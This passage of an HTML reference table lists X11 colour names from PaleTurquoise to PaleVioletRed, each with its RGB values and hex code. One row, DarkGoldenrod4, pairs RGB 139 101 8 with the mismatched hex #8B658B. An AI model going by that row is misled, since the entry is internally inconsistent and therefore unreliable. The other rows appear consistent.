<td bgcolor="#e7e7e7">#BBFFFF</td>
</tr>
<tr>
<td align="right">PaleTurquoise2</td>
<td bgcolor="#aeeeee">PaleTurquoise2</td>
<td>174 238 238</td>
<td bgcolor="#e7e7e7">#AEEEEE</td>
</tr>
<tr>
<td align="right">PaleTurquoise3</td>
<td bgcolor="#96cdcd">PaleTurquoise3</td>
<td>150 205 205</td>
<td bgcolor="#e7e7e7">#96CDCD</td>
</tr>
<tr>
<td align="right">PaleTurquoise4</td>
<td bgcolor="#668b8b">PaleTurquoise4</td>
<td>102 139 139</td>
<td bgcolor="#e7e7e7">#668B8B</td>
</tr>
<tr>
<td align="right">CadetBlue1</td>
<td bgcolor="#98f5ff">CadetBlue1</td>
<td>152 245 255</td>
<td bgcolor="#e7e7e7">#98F5FF</td>
</tr>
<tr>
<td align="right">CadetBlue2</td>
<td bgcolor="#8ee5ee">CadetBlue2</td>
<td>142 229 238</td>
<td bgcolor="#e7e7e7">#8EE5EE</td>
</tr>
<tr>
<td align="right">CadetBlue3</td>
<td bgcolor="#7ac5cd">CadetBlue3</td>
<td>122 197 205</td>
<td bgcolor="#e7e7e7">#7AC5CD</td>
</tr>
<tr>
<td align="right">CadetBlue4</td>
<td bgcolor="#53868b">CadetBlue4</td>
<td>83 134 139</td>
<td bgcolor="#e7e7e7">#53868B</td>
</tr>
<tr>
<td align="right">Turquoise1</td>
<td bgcolor="#00f5ff">Turquoise1</td>
<td>0 245 255</td>
<td bgcolor="#e7e7e7">#00F5FF</td>
</tr>
<tr>
<td align="right">Turquoise2</td>
<td bgcolor="#00e5ee">Turquoise2</td>
<td>0 229 238</td>
<td bgcolor="#e7e7e7">#00E5EE</td>
</tr>
<tr>
<td align="right">Turquoise3</td>
<td bgcolor="#00c5cd">Turquoise3</td>
<td>0 197 205</td>
<td bgcolor="#e7e7e7">#00C5CD</td>
</tr>
<tr>
<td align="right">Turquoise4</td>
<td bgcolor="#00868b">Turquoise4</td>
<td>0 134 139</td>
<td bgcolor="#e7e7e7">#00868B</td>
</tr>
<tr>
<td align="right">Cyan1</td>
<td bgcolor="#00ffff">Cyan1</td>
<td>0 255 255</td>
<td bgcolor="#e7e7e7">#00FFFF</td>
</tr>
<tr>
<td align="right">Cyan2</td>
<td bgcolor="#00eeee">Cyan2</td>
<td>0 238 238</td>
<td bgcolor="#e7e7e7">#00EEEE</td>
</tr>
<tr>
<td align="right">Cyan3</td>
<td bgcolor="#00cdcd">Cyan3</td>
<td>0 205 205</td>
<td bgcolor="#e7e7e7">#00CDCD</td>
</tr>
<tr>
<td align="right">Cyan4</td>
<td bgcolor="#008b8b">Cyan4</td>
<td>0 139 139</td>
<td bgcolor="#e7e7e7">#008B8B</td>
</tr>
<tr>
<td align="right">DarkSlateGray1</td>
<td bgcolor="#97ffff">DarkSlateGray1</td>
<td>151 255 255</td>
<td bgcolor="#e7e7e7">#97FFFF</td>
</tr>
<tr>
<td align="right">DarkSlateGray2</td>
<td bgcolor="#8deeee">DarkSlateGray2</td>
<td>141 238 238</td>
<td bgcolor="#e7e7e7">#8DEEEE</td>
</tr>
<tr>
<td align="right">DarkSlateGray3</td>
<td bgcolor="#79cdcd">DarkSlateGray3</td>
<td>121 205 205</td>
<td bgcolor="#e7e7e7">#79CDCD</td>
</tr>
<tr>
<td align="right">DarkSlateGray4</td>
<td bgcolor="#528b8b">DarkSlateGray4</td>
<td>82 139 139</td>
<td bgcolor="#e7e7e7">#528B8B</td>
</tr>
<tr>
<td align="right">Aquamarine1</td>
<td bgcolor="#7fffd4">Aquamarine1</td>
<td>127 255 212</td>
<td bgcolor="#e7e7e7">#7FFFD4</td>
</tr>
<tr>
<td align="right">Aquamarine2</td>
<td bgcolor="#76eec6">Aquamarine2</td>
<td>118 238 198</td>
<td bgcolor="#e7e7e7">#76EEC6</td>
</tr>
<tr>
<td align="right">Aquamarine3</td>
<td bgcolor="#66cdaa">Aquamarine3</td>
<td>102 205 170</td>
<td bgcolor="#e7e7e7">#66CDAA</td>
</tr>
<tr>
<td align="right">Aquamarine4</td>
<td bgcolor="#458b74">Aquamarine4</td>
<td>69 139 116</td>
<td bgcolor="#e7e7e7">#458B74</td>
</tr>
<tr>
<td align="right">DarkSeaGreen1</td>
<td bgcolor="#c1ffc1">DarkSeaGreen1</td>
<td>193 255 193</td>
<td bgcolor="#e7e7e7">#C1FFC1</td>
</tr>
<tr>
<td align="right">DarkSeaGreen2</td>
<td bgcolor="#b4eeb4">DarkSeaGreen2</td>
<td>180 238 180</td>
<td bgcolor="#e7e7e7">#B4EEB4</td>
</tr>
<tr>
<td align="right">DarkSeaGreen3</td>
<td bgcolor="#9bcd9b">DarkSeaGreen3</td>
<td>155 205 155</td>
<td bgcolor="#e7e7e7">#9BCD9B</td>
</tr>
<tr>
<td align="right">DarkSeaGreen4</td>
<td bgcolor="#698b69">DarkSeaGreen4</td>
<td>105 139 105</td>
<td bgcolor="#e7e7e7">#698B69</td>
</tr>
<tr>
<td align="right">SeaGreen1</td>
<td bgcolor="#54ff9f">SeaGreen1</td>
<td>84 255 159</td>
<td bgcolor="#e7e7e7">#54FF9F</td>
</tr>
<tr>
<td align="right">SeaGreen2</td>
<td bgcolor="#4eee94">SeaGreen2</td>
<td>78 238 148</td>
<td bgcolor="#e7e7e7">#4EEE94</td>
</tr>
<tr>
<td align="right">SeaGreen3</td>
<td bgcolor="#43cd80">SeaGreen3</td>
<td>67 205 128</td>
<td bgcolor="#e7e7e7">#43CD80</td>
</tr>
<tr>
<td align="right">SeaGreen4</td>
<td bgcolor="#2e8b57">SeaGreen4</td>
<td>46 139 87</td>
<td bgcolor="#e7e7e7">#2E8B57</td>
</tr>
<tr>
<td align="right">PaleGreen1</td>
<td bgcolor="#9aff9a">PaleGreen1</td>
<td>154 255 154</td>
<td bgcolor="#e7e7e7">#9AFF9A</td>
</tr>
<tr>
<td align="right">PaleGreen2</td>
<td bgcolor="#90ee90">PaleGreen2</td>
<td>144 238 144</td>
<td bgcolor="#e7e7e7">#90EE90</td>
</tr>
<tr>
<td align="right">PaleGreen3</td>
<td bgcolor="#7ccd7c">PaleGreen3</td>
<td>124 205 124</td>
<td bgcolor="#e7e7e7">#7CCD7C</td>
</tr>
<tr>
<td align="right">PaleGreen4</td>
<td bgcolor="#548b54">PaleGreen4</td>
<td>84 139 84</td>
<td bgcolor="#e7e7e7">#548B54</td>
</tr>
<tr>
<td align="right">SpringGreen1</td>
<td bgcolor="#00ff7f">SpringGreen1</td>
<td>0 255 127</td>
<td bgcolor="#e7e7e7">#00FF7F</td>
</tr>
<tr>
<td align="right">SpringGreen2</td>
<td bgcolor="#00ee76">SpringGreen2</td>
<td>0 238 118</td>
<td bgcolor="#e7e7e7">#00EE76</td>
</tr>
<tr>
<td align="right">SpringGreen3</td>
<td bgcolor="#00cd66">SpringGreen3</td>
<td>0 205 102</td>
<td bgcolor="#e7e7e7">#00CD66</td>
</tr>
<tr>
<td align="right">SpringGreen4</td>
<td bgcolor="#008b45">SpringGreen4</td>
<td>0 139 69</td>
<td bgcolor="#e7e7e7">#008B45</td>
</tr>
<tr>
<td align="right">Green1</td>
<td bgcolor="#00ff00">Green1</td>
<td>0 255 0</td>
<td bgcolor="#e7e7e7">#00FF00</td>
</tr>
<tr>
<td align="right">Green2</td>
<td bgcolor="#00ee00">Green2</td>
<td>0 238 0</td>
<td bgcolor="#e7e7e7">#00EE00</td>
</tr>
<tr>
<td align="right">Green3</td>
<td bgcolor="#00cd00">Green3</td>
<td>0 205 0</td>
<td bgcolor="#e7e7e7">#00CD00</td>
</tr>
<tr>
<td align="right">Green4</td>
<td bgcolor="#008b00">Green4</td>
<td>0 139 0</td>
<td bgcolor="#e7e7e7">#008B00</td>
</tr>
<tr>
<td align="right">Chartreuse1</td>
<td bgcolor="#7fff00">Chartreuse1</td>
<td>127 255 0</td>
<td bgcolor="#e7e7e7">#7FFF00</td>
</tr>
<tr>
<td align="right">Chartreuse2</td>
<td bgcolor="#76ee00">Chartreuse2</td>
<td>118 238 0</td>
<td bgcolor="#e7e7e7">#76EE00</td>
</tr>
<tr>
<td align="right">Chartreuse3</td>
<td bgcolor="#66cd00">Chartreuse3</td>
<td>102 205 0</td>
<td bgcolor="#e7e7e7">#66CD00</td>
</tr>
<tr>
<td align="right">Chartreuse4</td>
<td bgcolor="#458b00">Chartreuse4</td>
<td>69 139 0</td>
<td bgcolor="#e7e7e7">#458B00</td>
</tr>
<tr>
<td align="right">OliveDrab1</td>
<td bgcolor="#c0ff3e">OliveDrab1</td>
<td>192 255 62</td>
<td bgcolor="#e7e7e7">#C0FF3E</td>
</tr>
<tr>
<td align="right">OliveDrab2</td>
<td bgcolor="#b3ee3a">OliveDrab2</td>
<td>179 238 58</td>
<td bgcolor="#e7e7e7">#B3EE3A</td>
</tr>
<tr>
<td align="right">OliveDrab3</td>
<td bgcolor="#9acd32">OliveDrab3</td>
<td>154 205 50</td>
<td bgcolor="#e7e7e7">#9ACD32</td>
</tr>
<tr>
<td align="right">OliveDrab4</td>
<td bgcolor="#698b22">OliveDrab4</td>
<td>105 139 34</td>
<td bgcolor="#e7e7e7">#698B22</td>
</tr>
<tr>
<td align="right">DarkOliveGreen1</td>
<td bgcolor="#caff70">DarkOliveGreen1</td>
<td>202 255 112</td>
<td bgcolor="#e7e7e7">#CAFF70</td>
</tr>
<tr>
<td align="right">DarkOliveGreen2</td>
<td bgcolor="#bcee68">DarkOliveGreen2</td>
<td>188 238 104</td>
<td bgcolor="#e7e7e7">#BCEE68</td>
</tr>
<tr>
<td align="right">DarkOliveGreen3</td>
<td bgcolor="#a2cd5a">DarkOliveGreen3</td>
<td>162 205 90</td>
<td bgcolor="#e7e7e7">#A2CD5A</td>
</tr>
<tr>
<td align="right">DarkOliveGreen4</td>
<td bgcolor="#6e8b3d">DarkOliveGreen4</td>
<td>110 139 61</td>
<td bgcolor="#e7e7e7">#6E8B3D</td>
</tr>
<tr>
<td align="right">Khaki1</td>
<td bgcolor="#fff68f">Khaki1</td>
<td>255 246 143</td>
<td bgcolor="#e7e7e7">#FFF68F</td>
</tr>
<tr>
<td align="right">Khaki2</td>
<td bgcolor="#eee685">Khaki2</td>
<td>238 230 133</td>
<td bgcolor="#e7e7e7">#EEE685</td>
</tr>
<tr>
<td align="right">Khaki3</td>
<td bgcolor="#cdc673">Khaki3</td>
<td>205 198 115</td>
<td bgcolor="#e7e7e7">#CDC673</td>
</tr>
<tr>
<td align="right">Khaki4</td>
<td bgcolor="#8b864e">Khaki4</td>
<td>139 134 78</td>
<td bgcolor="#e7e7e7">#8B864E</td>
</tr>
<tr>
<td align="right">LightGoldenrod1</td>
<td bgcolor="#ffec8b">LightGoldenrod1</td>
<td>255 236 139</td>
<td bgcolor="#e7e7e7">#FFEC8B</td>
</tr>
<tr>
<td align="right">LightGoldenrod2</td>
<td bgcolor="#eedc82">LightGoldenrod2</td>
<td>238 220 130</td>
<td bgcolor="#e7e7e7">#EEDC82</td>
</tr>
<tr>
<td align="right">LightGoldenrod3</td>
<td bgcolor="#cdbe70">LightGoldenrod3</td>
<td>205 190 112</td>
<td bgcolor="#e7e7e7">#CDBE70</td>
</tr>
<tr>
<td align="right">LightGoldenrod4</td>
<td bgcolor="#8b814c">LightGoldenrod4</td>
<td>139 129 76</td>
<td bgcolor="#e7e7e7">#8B814C</td>
</tr>
<tr>
<td align="right">LightYellow1</td>
<td bgcolor="#ffffe0">LightYellow1</td>
<td>255 255 224</td>
<td bgcolor="#e7e7e7">#FFFFE0</td>
</tr>
<tr>
<td align="right">LightYellow2</td>
<td bgcolor="#eeeed1">LightYellow2</td>
<td>238 238 209</td>
<td bgcolor="#e7e7e7">#EEEED1</td>
</tr>
<tr>
<td align="right">LightYellow3</td>
<td bgcolor="#cdcdb4">LightYellow3</td>
<td>205 205 180</td>
<td bgcolor="#e7e7e7">#CDCDB4</td>
</tr>
<tr>
<td align="right">LightYellow4</td>
<td bgcolor="#8b8b7a">LightYellow4</td>
<td>139 139 122</td>
<td bgcolor="#e7e7e7">#8B8B7A</td>
</tr>
<tr>
<td align="right">Yellow1</td>
<td bgcolor="#ffff00">Yellow1</td>
<td>255 255 0</td>
<td bgcolor="#e7e7e7">#FFFF00</td>
</tr>
<tr>
<td align="right">Yellow2</td>
<td bgcolor="#eeee00">Yellow2</td>
<td>238 238 0</td>
<td bgcolor="#e7e7e7">#EEEE00</td>
</tr>
<tr>
<td align="right">Yellow3</td>
<td bgcolor="#cdcd00">Yellow3</td>
<td>205 205 0</td>
<td bgcolor="#e7e7e7">#CDCD00</td>
</tr>
<tr>
<td align="right">Yellow4</td>
<td bgcolor="#8b8b00">Yellow4</td>
<td>139 139 0</td>
<td bgcolor="#e7e7e7">#8B8B00</td>
</tr>
<tr>
<td align="right">Gold1</td>
<td bgcolor="#ffd700">Gold1</td>
<td>255 215 0</td>
<td bgcolor="#e7e7e7">#FFD700</td>
</tr>
<tr>
<td align="right">Gold2</td>
<td bgcolor="#eec900">Gold2</td>
<td>238 201 0</td>
<td bgcolor="#e7e7e7">#EEC900</td>
</tr>
<tr>
<td align="right">Gold3</td>
<td bgcolor="#cdad00">Gold3</td>
<td>205 173 0</td>
<td bgcolor="#e7e7e7">#CDAD00</td>
</tr>
<tr>
<td align="right">Gold4</td>
<td bgcolor="#8b7500">Gold4</td>
<td>139 117 0</td>
<td bgcolor="#e7e7e7">#8B7500</td>
</tr>
<tr>
<td align="right">Goldenrod1</td>
<td bgcolor="#ffc125">Goldenrod1</td>
<td>255 193 37</td>
<td bgcolor="#e7e7e7">#FFC125</td>
</tr>
<tr>
<td align="right">Goldenrod2</td>
<td bgcolor="#eeb422">Goldenrod2</td>
<td>238 180 34</td>
<td bgcolor="#e7e7e7">#EEB422</td>
</tr>
<tr>
<td align="right">Goldenrod3</td>
<td bgcolor="#cd9b1d">Goldenrod3</td>
<td>205 155 29</td>
<td bgcolor="#e7e7e7">#CD9B1D</td>
</tr>
<tr>
<td align="right">Goldenrod4</td>
<td bgcolor="#8b6914">Goldenrod4</td>
<td>139 105 20</td>
<td bgcolor="#e7e7e7">#8B6914</td>
</tr>
<tr>
<td align="right">DarkGoldenrod1</td>
<td bgcolor="#ffb90f">DarkGoldenrod1</td>
<td>255 185 15</td>
<td bgcolor="#e7e7e7">#FFB90F</td>
</tr>
<tr>
<td align="right">DarkGoldenrod2</td>
<td bgcolor="#eead0e">DarkGoldenrod2</td>
<td>238 173 14</td>
<td bgcolor="#e7e7e7">#EEAD0E</td>
</tr>
<tr>
<td align="right">DarkGoldenrod3</td>
<td bgcolor="#cd950c">DarkGoldenrod3</td>
<td>205 149 12</td>
<td bgcolor="#e7e7e7">#CD950C</td>
</tr>
<tr>
<td align="right">DarkGoldenrod4</td>
<td bgcolor="#8b658b">DarkGoldenrod4</td>
<td>139 101 8</td>
<td bgcolor="#e7e7e7">#8B658B</td>
</tr>
<tr>
<td align="right">RosyBrown1</td>
<td bgcolor="#ffc1c1">RosyBrown1</td>
<td>255 193 193</td>
<td bgcolor="#e7e7e7">#FFC1C1</td>
</tr>
<tr>
<td align="right">RosyBrown2</td>
<td bgcolor="#eeb4b4">RosyBrown2</td>
<td>238 180 180</td>
<td bgcolor="#e7e7e7">#EEB4B4</td>
</tr>
<tr>
<td align="right">RosyBrown3</td>
<td bgcolor="#cd9b9b">RosyBrown3</td>
<td>205 155 155</td>
<td bgcolor="#e7e7e7">#CD9B9B</td>
</tr>
<tr>
<td align="right">RosyBrown4</td>
<td bgcolor="#8b6969">RosyBrown4</td>
<td>139 105 105</td>
<td bgcolor="#e7e7e7">#8B6969</td>
</tr>
<tr>
<td align="right">IndianRed1</td>
<td bgcolor="#ff6a6a">IndianRed1</td>
<td>255 106 106</td>
<td bgcolor="#e7e7e7">#FF6A6A</td>
</tr>
<tr>
<td align="right">IndianRed2</td>
<td bgcolor="#ee6363">IndianRed2</td>
<td>238 99 99</td>
<td bgcolor="#e7e7e7">#EE6363</td>
</tr>
<tr>
<td align="right">IndianRed3</td>
<td bgcolor="#cd5555">IndianRed3</td>
<td>205 85 85</td>
<td bgcolor="#e7e7e7">#CD5555</td>
</tr>
<tr>
<td align="right">IndianRed4</td>
<td bgcolor="#8b3a3a">IndianRed4</td>
<td>139 58 58</td>
<td bgcolor="#e7e7e7">#8B3A3A</td>
</tr>
<tr>
<td align="right">Sienna1</td>
<td bgcolor="#ff8247">Sienna1</td>
<td>255 130 71</td>
<td bgcolor="#e7e7e7">#FF8247</td>
</tr>
<tr>
<td align="right">Sienna2</td>
<td bgcolor="#ee7942">Sienna2</td>
<td>238 121 66</td>
<td bgcolor="#e7e7e7">#EE7942</td>
</tr>
<tr>
<td align="right">Sienna3</td>
<td bgcolor="#cd6839">Sienna3</td>
<td>205 104 57</td>
<td bgcolor="#e7e7e7">#CD6839</td>
</tr>
<tr>
<td align="right">Sienna4</td>
<td bgcolor="#8b4726">Sienna4</td>
<td>139 71 38</td>
<td bgcolor="#e7e7e7">#8B4726</td>
</tr>
<tr>
<td align="right">Burlywood1</td>
<td bgcolor="#ffd39b">Burlywood1</td>
<td>255 211 155</td>
<td bgcolor="#e7e7e7">#FFD39B</td>
</tr>
<tr>
<td align="right">Burlywood2</td>
<td bgcolor="#eec591">Burlywood2</td>
<td>238 197 145</td>
<td bgcolor="#e7e7e7">#EEC591</td>
</tr>
<tr>
<td align="right">Burlywood3</td>
<td bgcolor="#cdaa7d">Burlywood3</td>
<td>205 170 125</td>
<td bgcolor="#e7e7e7">#CDAA7D</td>
</tr>
<tr>
<td align="right">Burlywood4</td>
<td bgcolor="#8b7355">Burlywood4</td>
<td>139 115 85</td>
<td bgcolor="#e7e7e7">#8B7355</td>
</tr>
<tr>
<td align="right">Wheat1</td>
<td bgcolor="#ffe7ba">Wheat1</td>
<td>255 231 186</td>
<td bgcolor="#e7e7e7">#FFE7BA</td>
</tr>
<tr>
<td align="right">Wheat2</td>
<td bgcolor="#eed8ae">Wheat2</td>
<td>238 216 174</td>
<td bgcolor="#e7e7e7">#EED8AE</td>
</tr>
<tr>
<td align="right">Wheat3</td>
<td bgcolor="#cdba96">Wheat3</td>
<td>205 186 150</td>
<td bgcolor="#e7e7e7">#CDBA96</td>
</tr>
<tr>
<td align="right">Wheat4</td>
<td bgcolor="#8b7e66">Wheat4</td>
<td>139 126 102</td>
<td bgcolor="#e7e7e7">#8B7E66</td>
</tr>
<tr>
<td align="right">Tan1</td>
<td bgcolor="#ffa54f">Tan1</td>
<td>255 165 79</td>
<td bgcolor="#e7e7e7">#FFA54F</td>
</tr>
<tr>
<td align="right">Tan2</td>
<td bgcolor="#ee9a49">Tan2</td>
<td>238 154 73</td>
<td bgcolor="#e7e7e7">#EE9A49</td>
</tr>
<tr>
<td align="right">Tan3</td>
<td bgcolor="#cd853f">Tan3</td>
<td>205 133 63</td>
<td bgcolor="#e7e7e7">#CD853F</td>
</tr>
<tr>
<td align="right">Tan4</td>
<td bgcolor="#8b5a2b">Tan4</td>
<td>139 90 43</td>
<td bgcolor="#e7e7e7">#8B5A2B</td>
</tr>
<tr>
<td align="right">Chocolate1</td>
<td bgcolor="#ff7f24">Chocolate1</td>
<td>255 127 36</td>
<td bgcolor="#e7e7e7">#FF7F24</td>
</tr>
<tr>
<td align="right">Chocolate2</td>
<td bgcolor="#ee7621">Chocolate2</td>
<td>238 118 33</td>
<td bgcolor="#e7e7e7">#EE7621</td>
</tr>
<tr>
<td align="right">Chocolate3</td>
<td bgcolor="#cd661d">Chocolate3</td>
<td>205 102 29</td>
<td bgcolor="#e7e7e7">#CD661D</td>
</tr>
<tr>
<td align="right">Chocolate4</td>
<td bgcolor="#8b4513">Chocolate4</td>
<td>139 69 19</td>
<td bgcolor="#e7e7e7">#8B4513</td>
</tr>
<tr>
<td align="right">Firebrick1</td>
<td bgcolor="#ff3030">Firebrick1</td>
<td>255 48 48</td>
<td bgcolor="#e7e7e7">#FF3030</td>
</tr>
<tr>
<td align="right">Firebrick2</td>
<td bgcolor="#ee2c2c">Firebrick2</td>
<td>238 44 44</td>
<td bgcolor="#e7e7e7">#EE2C2C</td>
</tr>
<tr>
<td align="right">Firebrick3</td>
<td bgcolor="#cd2626">Firebrick3</td>
<td>205 38 38</td>
<td bgcolor="#e7e7e7">#CD2626</td>
</tr>
<tr>
<td align="right">Firebrick4</td>
<td bgcolor="#8b1a1a">Firebrick4</td>
<td>139 26 26</td>
<td bgcolor="#e7e7e7">#8B1A1A</td>
</tr>
<tr>
<td align="right">Brown1</td>
<td bgcolor="#ff4040">Brown1</td>
<td>255 64 64</td>
<td bgcolor="#e7e7e7">#FF4040</td>
</tr>
<tr>
<td align="right">Brown2</td>
<td bgcolor="#ee3b3b">Brown2</td>
<td>238 59 59</td>
<td bgcolor="#e7e7e7">#EE3B3B</td>
</tr>
<tr>
<td align="right">Brown3</td>
<td bgcolor="#cd3333">Brown3</td>
<td>205 51 51</td>
<td bgcolor="#e7e7e7">#CD3333</td>
</tr>
<tr>
<td align="right">Brown4</td>
<td bgcolor="#8b2323">Brown4</td>
<td>139 35 35</td>
<td bgcolor="#e7e7e7">#8B2323</td>
</tr>
<tr>
<td align="right">Salmon1</td>
<td bgcolor="#ff8c69">Salmon1</td>
<td>255 140 105</td>
<td bgcolor="#e7e7e7">#FF8C69</td>
</tr>
<tr>
<td align="right">Salmon2</td>
<td bgcolor="#ee8262">Salmon2</td>
<td>238 130 98</td>
<td bgcolor="#e7e7e7">#EE8262</td>
</tr>
<tr>
<td align="right">Salmon3</td>
<td bgcolor="#cd7054">Salmon3</td>
<td>205 112 84</td>
<td bgcolor="#e7e7e7">#CD7054</td>
</tr>
<tr>
<td align="right">Salmon4</td>
<td bgcolor="#8b4c39">Salmon4</td>
<td>139 76 57</td>
<td bgcolor="#e7e7e7">#8B4C39</td>
</tr>
<tr>
<td align="right">LightSalmon1</td>
<td bgcolor="#ffa07a">LightSalmon1</td>
<td>255 160 122</td>
<td bgcolor="#e7e7e7">#FFA07A</td>
</tr>
<tr>
<td align="right">LightSalmon2</td>
<td bgcolor="#ee9572">LightSalmon2</td>
<td>238 149 114</td>
<td bgcolor="#e7e7e7">#EE9572</td>
</tr>
<tr>
<td align="right">LightSalmon3</td>
<td bgcolor="#cd8162">LightSalmon3</td>
<td>205 129 98</td>
<td bgcolor="#e7e7e7">#CD8162</td>
</tr>
<tr>
<td align="right">LightSalmon4</td>
<td bgcolor="#8b5742">LightSalmon4</td>
<td>139 87 66</td>
<td bgcolor="#e7e7e7">#8B5742</td>
</tr>
<tr>
<td align="right">Orange1</td>
<td bgcolor="#ffa500">Orange1</td>
<td>255 165 0</td>
<td bgcolor="#e7e7e7">#FFA500</td>
</tr>
<tr>
<td align="right">Orange2</td>
<td bgcolor="#ee9a00">Orange2</td>
<td>238 154 0</td>
<td bgcolor="#e7e7e7">#EE9A00</td>
</tr>
<tr>
<td align="right">Orange3</td>
<td bgcolor="#cd8500">Orange3</td>
<td>205 133 0</td>
<td bgcolor="#e7e7e7">#CD8500</td>
</tr>
<tr>
<td align="right">Orange4</td>
<td bgcolor="#8b5a00">Orange4</td>
<td>139 90 0</td>
<td bgcolor="#e7e7e7">#8B5A00</td>
</tr>
<tr>
<td align="right">DarkOrange1</td>
<td bgcolor="#ff7f00">DarkOrange1</td>
<td>255 127 0</td>
<td bgcolor="#e7e7e7">#FF7F00</td>
</tr>
<tr>
<td align="right">DarkOrange2</td>
<td bgcolor="#ee7600">DarkOrange2</td>
<td>238 118 0</td>
<td bgcolor="#e7e7e7">#EE7600</td>
</tr>
<tr>
<td align="right">DarkOrange3</td>
<td bgcolor="#cd6600">DarkOrange3</td>
<td>205 102 0</td>
<td bgcolor="#e7e7e7">#CD6600</td>
</tr>
<tr>
<td align="right">DarkOrange4</td>
<td bgcolor="#8b4500">DarkOrange4</td>
<td>139 69 0</td>
<td bgcolor="#e7e7e7">#8B4500</td>
</tr>
<tr>
<td align="right">Coral1</td>
<td bgcolor="#ff7256">Coral1</td>
<td>255 114 86</td>
<td bgcolor="#e7e7e7">#FF7256</td>
</tr>
<tr>
<td align="right">Coral2</td>
<td bgcolor="#ee6a50">Coral2</td>
<td>238 106 80</td>
<td bgcolor="#e7e7e7">#EE6A50</td>
</tr>
<tr>
<td align="right">Coral3</td>
<td bgcolor="#cd5b45">Coral3</td>
<td>205 91 69</td>
<td bgcolor="#e7e7e7">#CD5B45</td>
</tr>
<tr>
<td align="right">Coral4</td>
<td bgcolor="#8b3e2f">Coral4</td>
<td>139 62 47</td>
<td bgcolor="#e7e7e7">#8B3E2F</td>
</tr>
<tr>
<td align="right">Tomato1</td>
<td bgcolor="#ff6347">Tomato1</td>
<td>255 99 71</td>
<td bgcolor="#e7e7e7">#FF6347</td>
</tr>
<tr>
<td align="right">Tomato2</td>
<td bgcolor="#ee5c42">Tomato2</td>
<td>238 92 66</td>
<td bgcolor="#e7e7e7">#EE5C42</td>
</tr>
<tr>
<td align="right">Tomato3</td>
<td bgcolor="#cd4f39">Tomato3</td>
<td>205 79 57</td>
<td bgcolor="#e7e7e7">#CD4F39</td>
</tr>
<tr>
<td align="right">Tomato4</td>
<td bgcolor="#8b3626">Tomato4</td>
<td>139 54 38</td>
<td bgcolor="#e7e7e7">#8B3626</td>
</tr>
<tr>
<td align="right">OrangeRed1</td>
<td bgcolor="#ff4500">OrangeRed1</td>
<td>255 69 0</td>
<td bgcolor="#e7e7e7">#FF4500</td>
</tr>
<tr>
<td align="right">OrangeRed2</td>
<td bgcolor="#ee4000">OrangeRed2</td>
<td>238 64 0</td>
<td bgcolor="#e7e7e7">#EE4000</td>
</tr>
<tr>
<td align="right">OrangeRed3</td>
<td bgcolor="#cd3700">OrangeRed3</td>
<td>205 55 0</td>
<td bgcolor="#e7e7e7">#CD3700</td>
</tr>
<tr>
<td align="right">OrangeRed4</td>
<td bgcolor="#8b2500">OrangeRed4</td>
<td>139 37 0</td>
<td bgcolor="#e7e7e7">#8B2500</td>
</tr>
<tr>
<td align="right">Red1</td>
<td bgcolor="#ff0000">Red1</td>
<td>255 0 0</td>
<td bgcolor="#e7e7e7">#FF0000</td>
</tr>
<tr>
<td align="right">Red2</td>
<td bgcolor="#ee0000">Red2</td>
<td>238 0 0</td>
<td bgcolor="#e7e7e7">#EE0000</td>
</tr>
<tr>
<td align="right">Red3</td>
<td bgcolor="#cd0000">Red3</td>
<td>205 0 0</td>
<td bgcolor="#e7e7e7">#CD0000</td>
</tr>
<tr>
<td align="right">Red4</td>
<td bgcolor="#8b0000">Red4</td>
<td>139 0 0</td>
<td bgcolor="#e7e7e7">#8B0000</td>
</tr>
<tr>
<td align="right">DeepPink1</td>
<td bgcolor="#ff1493">DeepPink1</td>
<td>255 20 147</td>
<td bgcolor="#e7e7e7">#FF1493</td>
</tr>
<tr>
<td align="right">DeepPink2</td>
<td bgcolor="#ee1289">DeepPink2</td>
<td>238 18 137</td>
<td bgcolor="#e7e7e7">#EE1289</td>
</tr>
<tr>
<td align="right">DeepPink3</td>
<td bgcolor="#cd1076">DeepPink3</td>
<td>205 16 118</td>
<td bgcolor="#e7e7e7">#CD1076</td>
</tr>
<tr>
<td align="right">DeepPink4</td>
<td bgcolor="#8b0a50">DeepPink4</td>
<td>139 10 80</td>
<td bgcolor="#e7e7e7">#8B0A50</td>
</tr>
<tr>
<td align="right">HotPink1</td>
<td bgcolor="#ff6eb4">HotPink1</td>
<td>255 110 180</td>
<td bgcolor="#e7e7e7">#FF6EB4</td>
</tr>
<tr>
<td align="right">HotPink2</td>
<td bgcolor="#ee6aa7">HotPink2</td>
<td>238 106 167</td>
<td bgcolor="#e7e7e7">#EE6AA7</td>
</tr>
<tr>
<td align="right">HotPink3</td>
<td bgcolor="#cd6090">HotPink3</td>
<td>205 96 144</td>
<td bgcolor="#e7e7e7">#CD6090</td>
</tr>
<tr>
<td align="right">HotPink4</td>
<td bgcolor="#8b3a62">HotPink4</td>
<td>139 58 98</td>
<td bgcolor="#e7e7e7">#8B3A62</td>
</tr>
<tr>
<td align="right">Pink1</td>
<td bgcolor="#ffb5c5">Pink1</td>
<td>255 181 197</td>
<td bgcolor="#e7e7e7">#FFB5C5</td>
</tr>
<tr>
<td align="right">Pink2</td>
<td bgcolor="#eea9b8">Pink2</td>
<td>238 169 184</td>
<td bgcolor="#e7e7e7">#EEA9B8</td>
</tr>
<tr>
<td align="right">Pink3</td>
<td bgcolor="#cd919e">Pink3</td>
<td>205 145 158</td>
<td bgcolor="#e7e7e7">#CD919E</td>
</tr>
<tr>
<td align="right">Pink4</td>
<td bgcolor="#8b636c">Pink4</td>
<td>139 99 108</td>
<td bgcolor="#e7e7e7">#8B636C</td>
</tr>
<tr>
<td align="right">LightPink1</td>
<td bgcolor="#ffaeb9">LightPink1</td>
<td>255 174 185</td>
<td bgcolor="#e7e7e7">#FFAEB9</td>
</tr>
<tr>
<td align="right">LightPink2</td>
<td bgcolor="#eea2ad">LightPink2</td>
<td>238 162 173</td>
<td bgcolor="#e7e7e7">#EEA2AD</td>
</tr>
<tr>
<td align="right">LightPink3</td>
<td bgcolor="#cd8c95">LightPink3</td>
<td>205 140 149</td>
<td bgcolor="#e7e7e7">#CD8C95</td>
</tr>
<tr>
<td align="right">LightPink4</td>
<td bgcolor="#8b5f65">LightPink4</td>
<td>139 95 101</td>
<td bgcolor="#e7e7e7">#8B5F65</td>
</tr>
<tr>
<td align="right">PaleVioletRed1</td>
<td bgcolor="#ff82ab">PaleVioletRed1</td>
<td>255 130 171</td>
<td bgcolor="#e7e7e7">#FF82AB</td>
</tr>
<tr>
<td align="right">PaleVioletRed2</td>
<td bgcolor="#ee799f">PaleVioletRed2</td>
<td>238 121 159</td>
<td bgcolor="#e7e7e7">#EE799F</td>
</tr>
